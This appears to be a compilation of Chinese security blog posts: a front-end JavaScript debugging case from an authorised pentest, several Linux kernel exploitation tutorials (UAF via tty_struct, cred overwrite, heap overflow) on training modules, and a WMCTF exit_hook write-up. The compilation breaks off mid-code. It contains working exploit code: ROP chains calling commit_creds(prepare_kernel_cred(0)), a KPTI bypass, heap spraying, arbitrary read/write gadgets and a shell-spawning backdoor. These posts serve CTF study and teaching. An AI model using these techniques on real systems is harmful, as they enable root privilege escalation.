渗透测试中的前端调试(一)
前言
前端调试是安全测试的重要组成部分。它能够帮助我们掌握网页的运行原理,包括js脚本的逻辑、加解密的方法、网络请求的参数等。利用这些信息,我们就可以更准确地发现网站的漏洞,制定出有效的攻击策略。前端知识对于安全来说,不但可以提高测试效率,还可以拓宽测试思路。
以下的一个案例是我在测试一个后台管理系统时遇到的问题,本来在登录页面通过js已经发现了接口和字段,但是请求的时候发现不是未授权漏洞,但是字段只有新密码和用户名,那么这个大概率是存在漏洞的。
正文
本次为授权测试,客户有提供账号密码。在后台的修改密码处:
JavaScript分析
当我输入正确密码时,又消失,说明存在校验。要么后端校验,要么前端校验。通过前面登录前的js内容,大致可以猜到这个就是前端校验。
我使用burp进行抓取数据包,发现没有请求通过:
说明大概率前端校验(也有可能是抓不到,但是概率很小)接下来就是要分析前端js了。这边我主要分析的是文本框的"与初始密码不一致"这个提示信息的判断逻辑:
我这边分析主要有两种方法:
①事件监听器:
通过事件监听器去找对应的js事件,通过正向去查看js,跟着对应的函数一层一层进行代码审计:
但是通过正向找过去,发现是经过多层调用的。且所有代码经过高度压缩混淆。
这时候还可以通过其他的按钮去找,大概率处理逻辑的js都是在一起的。当然只是可能。
找到提交按钮。
点击是会报错的。查看下这个提交的逻辑:
找到submit,去查看调用的js代码:
很不幸,还是这个混淆过的看不懂的js。按住ctrl还进不去函数,不知道为什么。GG。
②直接搜对应的关键字,去js里面翻
这个方法应该是大家比较常用的方法了。直接搜索关键字,比如加解密就直接搜索encrypt,一般都有效。
比如这边,可以直接搜索报错信息:与初始密码不一致:
找过去都是0。这时候就应该考虑,他是否有可能保存在css里面,或者使用urlencode或者Unicode编码。
(PS:因为没有对于后端请求,我们就不做从后端响应的情况假设。不然正常的字符串在前端找不到的情况下,有可能是后端返回的。)
先把这些字符转为Unicode编码查看。作为字符去查询的时候,建议不要全部字符去查询,因为有时候他可能会把对应的字符串分开放,或者做拼接。使用可以直接搜索比如不容易重复的几个关键字。比如这边的"一致"。
对于搜索,可以把js和html页面都代理从burp出去,然后使用burp自带的搜索,可能会比较方便。我这边就是采用这种方法进行查询:
很幸运,找到了!
+-----------------------------------------------------------------------+| function At(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._uU(1, || "\u4e0e\u521d\u59cb\u5bc6\u7801\u4e0d\u4e00\u81f4"), || || t.qZA()) || || } || || function bt(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._
可以看到js高度混淆。
对于审计很难。这边我们只需要查看是谁调用了这个函数,网上找这个逻辑即可。
有几种方法可以找到,这边借用new bing的回答:
您好,这是Bing。
根据我的搜索结果,有几种方法可以在Chrome中实现这个功能。我将为您介绍其中的一些方法:
1、使用Chrome开发者工具的搜索功能¹。您可以按下`ctrl + shift +F`(Windows)或`cmd + optn +F`(macOS)打开一个跨所有脚本的搜索窗口。然后,您可以勾选"正则表达式"复选框,并搜索函数的名称和定义方式。例如,如果您想要查找名为`foo`的函数,您可以搜索`foo\s*=\s*function`(表示`foo=function`之间有任意数量的空格)或者`function\s*foo\s*\(`(表示`functionfoo(`之间有任意数量的空格)。搜索结果将显示函数定义所在的脚本和位置,您可以点击它们跳转到相应的代码行。
2、使用Chrome开发者工具的调用栈功能。如果您想要查找一个函数是从哪里被调用的,您可以在函数体内部添加一个断点,然后运行代码。当代码执行到断点处时,开发者工具会暂停,并显示当前的调用栈。您可以在调用栈面板中查看函数被调用的顺序和位置,以及每个函数的参数和局部变量。
3、使用JavaScript代码获取函数的调用者³。如果您想要在代码中获取一个函数是从哪里被调用的,您可以使用`arguments.callee.caller`属性来访问当前函数的调用者。这个属性会返回一个函数对象,您可以使用它的`name`属性来获取函数的名称,或者使用它的`toString()`方法来获取函数的源代码。如果当前函数是从全局作用域被调用的,那么这个属性会返回`null`,您可以使用条件判断来处理这种情况。
我这边采用了第二点,可以在这边看到栈的调用。
成功找到密码判断点:
接下来就可以看你想改什么就改什么了。
JavaScript本地修改调试
找到对应函数后,接下来就是修改js里面的内容了。如果想修改js,在前端调试,需要在替换里面添加一个文件夹,然后在js编辑界面保存即可。保存成功会有紫色的小点点:
在js里面添加一个console.log,测试调试。触发该函数后,成功打印:
后续如果想通过前端绕过,可以同样去调试提交按钮。
结尾
可能有些人会说,这么麻烦去绕过做什么?本文只是讲解一些调试思路,和本次的漏洞没有太大关系,只是作为案例讲解。我本身不是做前端出身,主做分享使用。很多方面的知识我也是自己有接触到才去学习,可能对于一些大佬来说,这些都是很基础,勿喷。给自己挖个坑,如果本文反响不错的话,后续给大家分享一些遇到js前端加解密的web站点,该怎么去进行调试和测试。
通过复用TTY结构体实现提权利用
前言
UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3
结合题目来看UAF漏洞
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块
在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
read模块
在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
write模块
在写模块中,会从用户空间拷贝400字节数据到内核堆空间中
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
close模块
close模块会释放g_buf指向的堆块空间
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
漏洞分析
在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。
当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
...
这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。
在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];
//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset 0x638e9b
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int main() {
save_user_land();
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(fd2, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
//for (unsigned int i = 0; i < 0x80; i++)
// printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_addr = p[3];
unsigned long heap_addr = p[7];
printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
unsigned long kernel_base = kernel_addr - 0xc39c60;
unsigned long g_buf = heap_addr - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = i;
p[0x21] = pop_rdi_ret_offset + kernel_base;
p[0x22] = 0;
p[0x23] = prepare_kernel_cred_offset + kernel_base;
p[0x24] = pop_rcx_ret_offset + kernel_base;
p[0x25] = 0;
p[0x26] = mov_rdi_rax_offset + kernel_base;
p[0x27] = commit_creds_offset + kernel_base;
p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
p[0x29] = 0;
p[0x2a] = 0;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
write(fd2, buf, 0x400);
for (int i = 0; i < 50; i++)
ioctl(spray[i], 0, g_buf+0x100);
}
内存利用:迟来的blindless与逃不掉的exit漏洞
0x01 前言
在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。
这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。
在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。
"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。
0x02 exit_hook的n种姿势
基地址放在此处供各位参考一下,用于计算指令偏移。
exit_hook2libc
首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的元素可以改来调用。
注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!
执行p _rtld_global。看到那两个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。
注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。
然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。
注意这个2312是十进制。
好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。
并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。
接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)
exit_hook2elf
1.间接call
这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。
对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。
例如修改_rtld_global+2312为"/bin/sh\x00"
这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。
调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
2.直接call
link_map地址+0xa8是存第二个直接call的偏移
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。
但是发现有一个地方判断可以跳过call r14。
就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。
在x86汇编中,je 指令的作用是:
检查零标志位(ZF)是否被设置为 1。
如果零标志位被设置为 1,将进行跳转到指定的目标位置。
回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。
完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。
0x03 exp
那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。
from pwn import *
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
while True:
context(os='linux', arch='amd64', log_level='debug')
p = process('./main')
context.terminal = ['tmux','new-window' ,'-n','-c']
#gdb.attach(p)
sla('ze',b'-10')#分配到libc上(用mmap)
sla('ze',b'256')
pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
pay += b'@'+p32(2148618432)
pay +=b'.' + b'\xb1'
pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
pay +=b'.' + b'\x00'
pay += b'q'
sla('code\n',pay)
re = p.recvrepeat(0.1)#一直接收直到有回显
#如果是system的话可以发一个cat flag再这样
#这是个很好的爆破方式,学习学习
if re:
print('pwned!get your flag here:',re)
exit(0)
p.close()
通过篡改cred结构体实现提权利用
前言
在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。
作者利用任意地址读写分别改写https://h0pe-ay.github.io/%E5%88%A9%E7%94%A8modprobe_path%E6%8F%90%E6%9D%83/以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。
cred结构体
cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。
在cred的结构体存在uid、gid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。
那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。
这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。
prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2 到 arg5。不同的 option 值对应于不同的控制操作。
以下是一些常见的 option 值和它们的用途:
PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。
PR_GET_NAME:获取进程的名称。
PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。
PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。
PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。
PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。
PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。
PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。
PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。
PR_SET_DUMPABLE:设置进程的核心转储状态。
PR_GET_DUMPABLE:获取进程的核心转储状态。
PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。
PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。
ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名
那么利用cred结构体的提权流程如下:
具有任意地址读写的操作
使用prctl函数将进程名设置为关键字
使用任意地址在内核内存中搜索关键字,获取cred结构体的地址
使用任意地址写修改cred结构体标识符的值,全修改为0
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW&
题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。
...
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = 0xaaaaaa;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++)
ioctl(spray[i], 0x1234, 0x5678);
...
正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCX与RSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。
那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。
任意地址读
这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。
搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。
为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。
//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
int aar(unsigned long addr)
{
int result;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aar;
write(fd, buf, 0x500);
if (cache_fd == -1)
{
for (int i = 0; i < 100; i++) {
result = ioctl(spray[i], 0, addr);
if (result != -1)
{
cache_fd = spray[i];
return result;
}
}
}
else
return(result = ioctl(cache_fd, 0, addr));
}
任意地址写
任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"
//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;
void aaw(unsigned long target_addr, unsigned long data)
{
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aaw;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], target_addr, data);
}
}
cred结构体的搜索与改写
首先是将当前进程名设置为一个关键字
prctl(PR_SET_NAME, "h0pe-ay!");
然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。
#从字符串转化为十六进制>>> text = "h0pe-ay!">>> hex_string = text.encode('utf-8').hex()>>> print(hex_string)683070652d617921#从十六进制转化为16进制hex_string = "65703068"bytes_obj = bytes.fromhex(hex_string)print(bytes_obj)
接下来就是搜索内存了,需要注意以下几点
使用小端序进行比较
需要从g_buf地址往前搜索
由于每次只能泄露4字节数据,因此需要泄露两次
在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。
for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8) { if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d) { printf("[+] found!\n"); printf("addr:0x%lx\n", addr); cred_addr = aar(addr - 4); cred_addr = (cred_addr << 32) | aar(addr - 8); printf("cred_addr:0x%lx\n", cred_addr); break; } }
最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可
for (int i = 1; i < 9; i++) aaw(0, cred_addr + i*4);
完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c&
Linux内核之堆溢出的利用
前言
用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。
内核中的内存分配
有两种类型的计算机并且使用不同的方法管理物理内存
UMA计算机:每个处理器访问内存的速度一直
NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢
首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。
结点进一步划分为多个域,域使用zone_type枚举类型表示。
域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。
虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。
图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl&&,slab大致流程如下。
slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2
module_open
在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
module_read
在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
module_write
在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
堆溢出的利用
由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。
因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct的结构体的大小刚好处于kmalloc-1024的范围内。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
...
} __randomize_layout;
可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。
https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN&&中统计了一下常用的结构体。
由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示
O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端
对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_buf(open模块分配的堆块)的下方
该操作指针中存放着许多函数地址
将该结构体覆盖为无效值
通过ioctl操作触发函数指针
ioctl(spray[i], 0x1234, 0x1234);
ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。
但是单单修改函数表内的函数地址,则会引起崩溃。
崩溃地址正是我们修改的值。
因此梳理一下针对该题堆溢出利用的条件
利用堆喷使得漏洞堆块处于tty结构体堆块的上方
利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址
没有开启保护
经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。
并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。
通过read模块泄露堆地址
...
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
for (int i = 0; i < 0xa0; i++)
